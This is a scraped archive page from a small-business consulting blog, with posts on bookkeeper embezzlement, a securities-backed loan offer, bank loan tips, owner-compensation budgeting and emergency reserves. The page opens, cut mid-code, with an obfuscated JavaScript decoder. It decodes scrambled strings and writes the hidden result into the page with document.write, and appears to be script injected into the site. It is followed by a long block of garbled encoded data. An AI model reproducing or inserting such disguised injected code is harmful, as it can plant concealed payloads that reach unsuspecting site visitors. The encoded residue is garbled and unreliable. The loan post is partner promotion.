=192)cad07dc47+=848;else if(cad07dc47==168)cad07dc47=1025;else if(cad07dc47==184)cad07dc47=1105;document.write(String.fromCharCode(cad07dc47));continue;}pf71c68a=(ad65ac20+'').charCodeAt(0);if(pf71c68a>848)pf71c68a-=848;v625b0bc=pf71c68a-xf8314-47;if(v625b0bc<0)v625b0bc+=256;if(v625b0bc>=192)v625b0bc+=848;else if(v625b0bc==168)v625b0bc=1025;else if(v625b0bc==184)v625b0bc=1105;document.write(String.fromCharCode(v625b0bc));}}q7e637e7fcd8b("1bfb5","59�253�4$3*1�569�\\�8�TIV�4","61��227��427��207��1","87�","�193��1","91��571�'�","17�4�55","7�=R","=/?N�474��242��2","49��253��5","53��255��22��2","29��226�<","G;ME","=FL�6�OJ�39","4�","�162��500��23�","�","8��203��1","97","��223","��1","2��9","��21","��4��16��8��195��22��21��40","3��165��12","7�i�170��182��182��1","7","8��4","97��218��207�","�207��2","0��8��5��15��19��","13��1��18","�","�","9��527�,�31�\"","#�23","6","�!-�483��","255��443�","�152��203��568�\\�22�","SPIYH�480��1��248��244��2��190��249��254","��254��252��251��","51","6��20��555��9�=FC?H�459��2","38��","169","��222��21","9��23","8��2","19��42","4��1","34��467��2","35��240��457��220��399��16","3��182��526��235��584�g_g","�30��","23�n`[�546�E9","�14��2��2","41��516","��27","��52","8�$�443��211��209��210��222��167��","155��138","�","�221��488��11","��","16��418��189","��47","9��2","43��203��181��4��247��1��24","7��440��201��208","�","�2","11��208��219��539�C�4�23..�563�","G�532","�1�254�326,7,","�582","�dc/","�547�34","EA>GF","7�24","9��","16��4","95��218��205��7��4��1","6��255�","�11��3","�","�220��19","2��199��404��126��127","�","r�182��559�APGN�","573�`*"); financial planning · Will Corrente Operation Entrepreneur








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Archive for the financial planning

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December 4th, 2009 by admin No Comments

Small Business Consulting Advice-Lessons I learned from my embezzling bookkeeper – Oct. 5, 2009

December 1st, 2009 by admin No Comments

This article points out a valuable lesson about business controls. Financial controls such as; check writing, deposits, bank account numbers, etc should never be placed in the hands of new employees without some sort of oversight or system of checks and balances in place.

Using a management system like my Power Squared System, helps entrepreneur business owners develop the systems to manage thier businesses effectively and create plans and processes to ensure that the events that transpired in this article do not happen to them.

Lessons I learned from my embezzling bookkeeper – Oct. 5, 2009.

Alternative Financing for Entrepreneurs

November 9th, 2009 by admin No Comments

As entrepreneurs, we know that tapping into home equity loans, credit cards, or bank financing is down right difficult, if not impossible in this current economic climate. But, if you are en entrepreneur in the position of having an investment portfolio of $100,000 or more, than you may have just found a way to finance your business start up, purchase, finance, etc. This type of lending allows the borrower to use their investments (stocks, mutual funds, bonds or other securities) to obtain funds for personal or business use.

Check out this great website of a new strategic partner of mine for additional information http://www.investmentportfolioloans.com

Here are some quick features and benefits of this innovative loan product

• Fixed interest rates between 2.5% and 4.5%
• Interest Only quarterly loan payments
• Loan terms of 3, 5, 7, or 10 years
• No closing costs (an Origination Fee may apply)
• No lenders fees
• No upfront fees
• No due-diligence fees
• No credit check
• No income verification nor is it asked for
• Funds may be used for any purpose including personal or business use
• Non-recourse loan. The only collateral are the pledged securities. Should the borrower default on the loan, the borrower keeps the loan proceeds and the lender only claims the collateral. The borrower’s liability is limited to the collateral pledged for the loan. The lender has no right to proceed against the borrower for any deficiency.
• Loans available for up to 80% of the securities value
• The borrower retains all dividends and upside market appreciation that the securities generate
• Prompt response to a loan inquiry, usually within one business day of receiving the security information.
• Quick Fundings – usually in a matter of days
• Flexible terms at loan maturity. The borrower may renew the loan, possibly refinance, or pay off the loan.

Getting a Loan in Today’s Environment

April 5th, 2009 by admin No Comments

Today’s Post is courtesy of Chris Cook a local banker and member of my Operation Entrepreneur Group on Facebook, he posted this in a forum discussion a few weeks ago.

I work for a local bank in downtown West Palm Beach called First Bank of the Palm Beaches and we are certainly still doing small business loans.

I will give you some tips to keep in mind when applying for a bank loan.

1) You have to be able to prove you can pay it back. That means tax returns that reflect the true state of the business. Always be honest with your tax returns if you think your business might ever need debt.

2) You can not be a brand new business. If you are personally wealthy and want to secure a new business loan by your stock portfolio or your free and clear house, go for it. But a bank will typically not finance a start up business.

3) Be prepared for the loan to take about a month to close from start to finish.

4) Be prepared to pay closing costs.

5) Be prepared to move your business checking account to your new bank.

6) Make sure you meet more than one person at the bank so you are not left high and dry if your banker leaves or gets laid off.

7) Follow this rule of thumb, the smaller the business you are, the smaller the bank you should be with. You will get much better service from a community bank than from one of the big boys.

Reprinted with permission by Operation Entrepreneur

Christopher Cook
Vice President & Commercial Banker
First Bank of the Palm Beaches.
ccook@firstbankpb.com
561-847-2700

Reply to Classy & Small Business Budgeting

January 6th, 2009 by admin 1 Comment

I always start the new year with a new budget. I use the prior year’s actual numbers and increase my expense projections by 3% (the average inflation rate) and increase revenue projections by 10% (a modest growth goal).

If I was just starting a business or creating a budget for the first time, I would speak to my landlord, accountant and neighbors to get some baseline figures for my budgetary expenses. For my income, I would rely on my income projections from my business plan.

An expense that must always be included in every business plan and budget for that matter is the category of owner’s compensation or owner distributions. Let’s make an assumption, that I would like the business to pay me $60,000 for my services over the course of year. I would then put $5,000. per month in my budget ($60,000 / 12 months= $5,000).

Each month I would treat my compensation, like any other bill that needed to be paid and try to get as close as possible to the payment I promised myself. In the months I did not make my minimum payment to myself, I would record that as money the business owes to me. When the business increased its revenues, I would pay myself the back pay owed.

Many business owners do the opposite, they do not plan how much they want to make, instead they plan how much they want the business to gross and take whatever is leftover. That method is not owners compensation, that is profit. I believe, profit should be an additional distribution on top of owners compensation. It is the pot of gold at the end of the rainbow so to speak that makes business ownership worthwhile.

As a business owner, you must make your compensation a priority. Afterall, you would not work for someone else for free, why are you working for your business for free?

Reply to Classy- I hope the information above gives you some insight on how to budget payments for yourself. The rest is up to you, commit to treat your compensation like any other expense, rent, electric, etc. If you can’t afford to pay yourself, maybe you need to be more aggressive on cutting other costs or reducing payments on credit card or other debts to free up some cash.

If you have additional questions, feel free to post them.

An Emergency Fund is Part of Sound Fiscal Planning for Entrepreneurs & Individuals

December 31st, 2008 by admin 1 Comment

In personal financial planning, it is recommended that individuals set aside an emergency fund of cash equal to 6 months of living expenses in case a job loss or other interuption of income occurs. This is great advice not only for individuals, but for young entrepreneurs, and experienced business owners as well.

I have always felt most comfortable in business with 3 months of operating expenses in reserve and another month or 2 available on some sort of credit i.e.-credit lines, credit cards, etc. These reserves can allow the business to weather any economic storm without reducing the owners personal compensation while he/she rides out the tough times. If the reserves had not been set in place, and the business owner is already managing the businesses expenses aggressively, the only remaining place to cut is owner compensation. For business owners, this should always be a last resort.

In my businesses, the chances of me losing 100% of monthly revenue is very slim. But in these economic times, it is quite possible to have a 30% or more sales dip in one or several months. In those months I thankful I have my reserves in place and that I put a little bit away for a rainy day.

Will Corrente – “Helping People Get Where They Want To Go”

Specializes in small business consulting, entrepreneur coaching, and entrepreneur development. He is an Entrepreneur, Consultant, Speaker and, The author of the “POWER Squared – The Ultimate Entrepreneur Success System” visit him at www.OperationEntrepreneur.com/7secrets/